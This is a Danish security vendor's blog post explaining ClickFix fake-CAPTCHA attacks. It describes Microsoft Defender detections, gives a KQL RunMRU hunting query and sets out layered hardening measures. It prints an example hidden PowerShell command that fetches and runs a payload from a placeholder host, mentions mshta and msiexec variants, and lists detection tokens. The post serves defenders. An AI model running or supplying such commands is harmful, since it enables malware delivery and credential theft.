ClickFix. Når brugeren er exploiten, og hvordan I stopper det

ClickFix gør brugere til deres egen angriber: et falsk CAPTCHA, en copy-paste, og skadekoden kører i hukommelsen, uden at noget lander på disken. Hvordan Microsoft Defender opdager angrebet, hvor detektionen når sine grænser, og hvordan I lukker hullet med et RunMRU-hunt og fire beskyttelseslag.

ClickFix. Når brugeren er exploiten, og hvordan I stopper det

ClickFix-angrebskæden

ClickFix er et angreb, hvor brugere bliver deres egen angriber. Ingen exploit, ingen sårbarhed. Offeret udfører selv skadekoden, med en enkelt copy-paste.

ClickFix-angrebskæden i fem trin: lokkemaden, tricket, copy-paste, udførelse, infektion.

Lokkemaden er social engineering: et falsk CAPTCHA på en ondsindet side, en falsk supportbesked ("din browser skal opdateres"), en phishingmail eller en falsk mødeside. Mens offeret er på siden, skriver JavaScript payloaden ind i udklipsholderen via clipboard.writeText(). Derefter beder siden brugeren om at trykke Win+R, Ctrl+V og Enter. Kør-dialogen starter det, der ligger i udklipsholderen.

En typisk lokkemad ser sådan ud:

Skærmbillede af en falsk CAPTCHA-lokkemad, der beder brugeren om at trykke Win og X, derefter indsætte og med Enter udføre en kommando.

Kommandoen, den lægger i udklipsholderen, ser sådan ud:

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

To ting sker samtidig. PowerShell starter i et skjult vindue (-w h), og iex(irm …) henter payloaden og udfører den direkte i hukommelsen. Intet lander på disken, så signaturbaseret antivirus har intet at scanne. Andet trin er som regel en infostealer (Lumma, Vidar, RedLine, StealC), en remote access-trojaner eller en ransomware-loader.

Det samme mønster i Microsoft Defender-telemetrien, en skjult PowerShell, startet fra Windows Terminal, der udfører iex(irm …):

Microsoft Defender-inspect record med proceskæden WindowsTerminal.exe til pwsh.exe til powershell.exe, som udfører en iex(irm …)-kommando.

Hvorfor det virker så godt: Alt kører i brugerkonteksten, uden forhøjede rettigheder. Cookies, gemte passwords og session-tokens ligger inden for rækkevidde af en standardbruger. Angriberen behøver ikke at eskalere rettigheder for at nå det, han kom efter.

Hvad Microsoft Defender opdager

Microsoft har i de seneste måneder investeret meget i ClickFix-detektion. Hvis jeres Defender er sund og korrekt konfigureret, får I indbyggede detektioner for ClickFix-payloads. Siden Q2 2025 udsender MDE adfærdsbaserede alerts med titler som "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog" eller "An active 'Pacalau' malware in a command line was prevented from executing". De affyres fra MDE-cloud-engine via analysen af proceskæden, parallelt med AV-detektionen og ofte et par sekunder tidligere.

Konfigurationen, der gør det muligt, står længere nede under hærdningen af udførelsen.

Hvor den indbyggede detektion når sine grænser

Cloudbaserede ML-signaturer skal bruge tid, før de udløser. Vi ser jævnligt et hul på over et minut mellem PowerShell-starten og Defender-alerten. En hurtigere payload glider igennem det vindue.

Angribere tilpasser sig desuden hurtigt. Byt powershell ud med mshta http://... eller msiexec /i http://..., begge klassiske LOLBins, og de PowerShell-specifikke detektioner virker ikke længere.

Luk hullet: et RunMRU-hunt

Det hul lukker vi med custom detections. Udgangspunktet er en KQL-forespørgsel mod registry-nøglen RunMRU, der logger hver kommando, en bruger taster ind i Win+R-dialogen.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

Forespørgslen markerer hver Win+R-post, der ligner en ClickFix-kommando: PowerShell, mshta, curl eller msiexec sammen med typiske indikatorer som -w hidden, iex, irm, DownloadString eller Base64-kodede payloads. Den fanger også de subtile tricks. Det grønne flueben-emoji, som mange falske CAPTCHA-lokkemader sætter foran kommandoen. Unicode-tegn fra kyrilliske, arabiske eller thailandske områder, som angribere bruger til at camouflere tekst og omgå simple strengfiltre. Dukker et af disse mønstre op i en Win+R-post, er der med stor sandsynlighed et ClickFix-angreb i gang.

For vores CSOC-kunder driver vi disse og flere custom detections for at lukke hullet mellem nye angrebsteknikker og den indbyggede detektion.

Beskyttelseslag 1: blokér leveringen

Nu til forebyggelsen. ClickFix er udbredt og effektivt, så en enkelt beskyttelse rækker ikke. Vi arbejder i lag, fra leveringen til udførelsen.

Network Protection blokerer kendte delivery-domæner og C2-servere for alle browsere. MDE Web Content Filtering supplerer med kategorier som "Newly registered domains", "Hacking" og "Illegal Software". Network Protection er indbygget i Windows, men for tredjepartsbrowsere skal I deaktivere QUIC og ECH, fordi begge krypterer hele forbindelsen og skjuler måldomænet. Deaktivér QUIC i Chrome og Firefox via enterprise-policy (QuicAllowed = Disabled i Chrome, network.http.http3.enable = false i Firefox); for ECH sætter I i Chrome EncryptedClientHelloEnabled = Disabled.

Til Edge aktiverer I SmartScreen. Til tredjepartsbrowsere slår I deres indbyggede Safe Browsing til. Det er ikke det samme som Network Protection, men hjælper med at filtrere skadelige sider fra. For mailvektoren kontrollerer Safe Links og Safe Attachments links og vedhæftninger, før brugerne interagerer med dem.

Hagen: Alt det virker kun mod kendt infrastruktur. Aktuelle ClickFix-kampagner kører over nyregistreret infrastruktur, der bliver identificeret og blokeret for sent, og nogle gange over legitime sider, som en angriber har kompromitteret. Så lad os se på, hvad der beskytter, efter at lokkemaden er leveret.

Beskyttelseslag 2: blokér tricket

Et par Edge-funktioner hæver barren, mens brugeren er på en ondsindet side. Governance af browser-extensions forhindrer, at brugere installerer ondsindede eller kompromitterede udvidelser, der indsætter ClickFix-overlays eller selv manipulerer udklipsholderen. Edge Enhanced Security Mode lægger strengere beskyttelsesforanstaltninger på ukendte og sjældent besøgte sider (JIT deaktiveret, Control Flow Guard, hardwareunderstøttet stack-beskyttelse), hvad der gør exploitbaserede browserovertagelser markant sværere. Typo Protection advarer mod typosquattede domæner (micros0ft.com, paypa1.com) og blokerer en udbredt ClickFix-delivery-vektor via forfalskede branddomæner.

Tekniske kontroller er kun halvdelen af arbejdet. Oplysning af brugerne er fortsat afgørende. Den ene regel, der bærer det meste: Hvis en webside beder dig om at indsætte noget i din computer, er det et angreb. Gør det konkret i awareness-træningen:

  • Vis ægte lokkemader: falske "Verify you are human"-checkbokse, "din browser skal opdateres", "dokumentet kunne ikke renderes, kør dette fix", ødelagte Teams- eller Zoom-lydprompter.
  • Demonstrér clipboard-tricket: vis, hvordan siden i stilhed overskriver udklipsholderen.
  • Gør det let at anmelde: hurtigt og uden skyldplacering.

Beskyttelseslag 3: blokér handlingen

Her er der et par muligheder for at hærde systemet, ingen af dem er en garanti. Start med at deaktivere Kør-dialogen, det fjerner Win+R-indgangspunktet. Microsofts ClickFix-guidance anbefaler at deaktivere den "where it isn't necessary". Det lukker det specifikke Win+R-paste-angreb, men alternative startflader består, for eksempel Explorer-adresselinjen og Windows Terminal.

I kan desuden hærde Edge med DefaultClipboardSetting, som forhindrer, at JavaScript skriver i udklipsholderen i stilhed.

Beskyttelseslag 4: blokér udførelsen

Før de avancerede funktioner skal grundlaget være i orden. For ClickFix betyder det:

  • Local Admin Reduction: fjern lokale administratorrettigheder fra slutbrugere, hvor det er muligt, for at begrænse effekten af en kodeudførelse.
  • Endpoint Privilege Management (EPM): lad brugerne arbejde som standardbrugere, og elevér kun godkendte apps via policy-regler.
  • UAC-hærdning: kontrollér secure desktop-enforcement, promptadfærd for admins og standardbrugere samt installer-detektion.
  • Credential Guard: isolér NTLM-hashes, Kerberos-billetter og andet credential-materiale via virtualiseringsbaseret sikkerhed, så credential-tyveri forbliver svært, selv hvis en angriber opnår administratorrettigheder.

De kontroller reducerer eskaleringsmuligheder, beskytter credentials og håndhæver least privilege. Grænsen ved det: De begrænser, hvad der sker efter en kompromittering. De forhindrer ikke en infostealer i standardbrugerkonteksten i at læse cookies, session-tokens og app-credential-stores, som brugeren kan læse.

Så Microsoft Defender. Defender AV kan opdage andet trins payload, men kun med de rigtige indstillinger: slå Cloud Protection til, og sæt beskyttelsesniveauet til High eller High+. AMSI, Antimalware Scan Interface, lader applikationer overdrage indhold til Defender til kontrol under kørslen, efter at det er dekrypteret eller deobfuskeret i hukommelsen, men før det udføres. PowerShell bruger AMSI til at identificere skadekode, og AMSI kræver realtidsbeskyttelse og behavior monitoring.

Mindst fem Attack Surface Reduction-regler er relevante mod ClickFix:

Regel GUID ClickFix-relevans
Blokér udførelse af potentielt slørede scripts 5beb7efe-fd9a-4556-801d-275e5ffc04cc Slørede eller kodede scripts i udførelses- og evasion-fasen
Forhindr JavaScript eller VBScript i at starte hentet eksekverbart indhold d3e037e1-3eb8-44c8-a917-57927947596d WSH, .js eller .vbs, der starter hentede payloads
Tillad kun eksekverbare filer ud fra kriterier om prævalens, alder eller trusted list 01443614-cd74-433a-b99e-2ecdc07bfc25 Nye eller sjældne afleverede executables
Blokér eksekverbart indhold fra e-mailklient og webmail be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 ClickFix-varianter leveret via e-mail
Forhindr alle Office-applikationer i at oprette underprocesser d4f940ab-401b-4efc-aadc-ad5f3c50688a Office-lokkemad-varianter, der starter interpretere

Udrul først ASR i audit-tilstand, så som pilot, så i blokeringstilstand. Tamper Protection er den sidste linje: Den forhindrer angriberen i at slå jeres detektioner fra.

Ved PowerShell selv reducerer I risikoen fra legacy-interpretere. Identificér og fjern, hvor det er muligt, Windows PowerShell 2.0 og legacy-VBScript-komponenter, der mangler logging- og security-funktionerne i nyere versioner. Næste skridt er Constrained Language Mode (CLM), som begrænser de tilgængelige sprogelementer i PowerShell og blokerer mange scriptbaserede teknikker. CLM har kun robust sikkerhedsværdi, når en system application control-policy håndhæver den (App Control for Business); varianterne via miljøvariabel og AppLocker er svagere og kan omgås. Og mange systemer har brug for Full Language Mode for at fungere, for eksempel software deployment-tooling, hvorfor CLM ofte kun er mulig i udvalgte miljøer.

Dermed er vi ved App Control for Business (tidligere WDAC). App Control håndhæver en kodeintegritets-policy for, hvilke executables, scripts og drivere der må køre. Den strategiske holdning er default deny plus Microsofts anbefalede Block Rules, den kendte LOLBin- og bypass-blokeringsliste. App Control er også den korrekte enforcement-vej for PowerShell-CLM. Script enforcement blokerer MSHTA- og MSXML-scripthosts, tvinger PowerShell ind i CLM og blokerer ikke tilladt brug af Windows Script Host. Et par adfærdsfakta er vigtige:

  • Base policies, der stoler på Windows, blokerer ikke automatisk betroede LOLBins. I skal merge Microsofts anbefalede Block Rules ind for at lukke de kendte bypasses.
  • App Control forhindrer ikke signeret powershell.exe eller cmd.exe i at starte. Den begrænser, hvad de må gøre (CLM, ingen usigneret eller ikke tilladt payload), og styrer ikke indholdet af cmd.exe, .bat eller .cmd. Derfor lægges den i lag med ASR og launch-hærdning, ikke i anvendelse alene.
  • Audit-tilstanden er ikke neutral: Script enforcement blokerer også i audit udførelsen af MSHTA og MSXML og kan ændre PowerShell-CLM-adfærden. Derfor skal App Control i audit fra den første udrulning være begrænset til pilot eller ring, aldrig hele flåden.

App Control er den enkeltkontrol med den højeste confidence mod interpreter-, LOLBin- og payload-udførelsesfaserne og håndhæver robust CLM. Den bærer samtidig den højeste deployment-kompleksitet og den højeste rollback-risiko, for en fejlkonfiguration blokerer udførelsen. Indfør den via kontrollerede pilot-ringe.

Hvor vi kommer ind i billedet

ClickFix er hurtigt, og Microsofts indbyggede detektioner dækker det meste, men ikke alt. For vores CSOC-kunder udvider vi løbende dækningen der, hvor der dukker huller op: udførelse via Windows Terminal, RAT-drevne supportsvindelnumre og post-compromise-adfærd. Vil I vide, hvor jeres miljø står, så kontakt os.

Lignende indlæg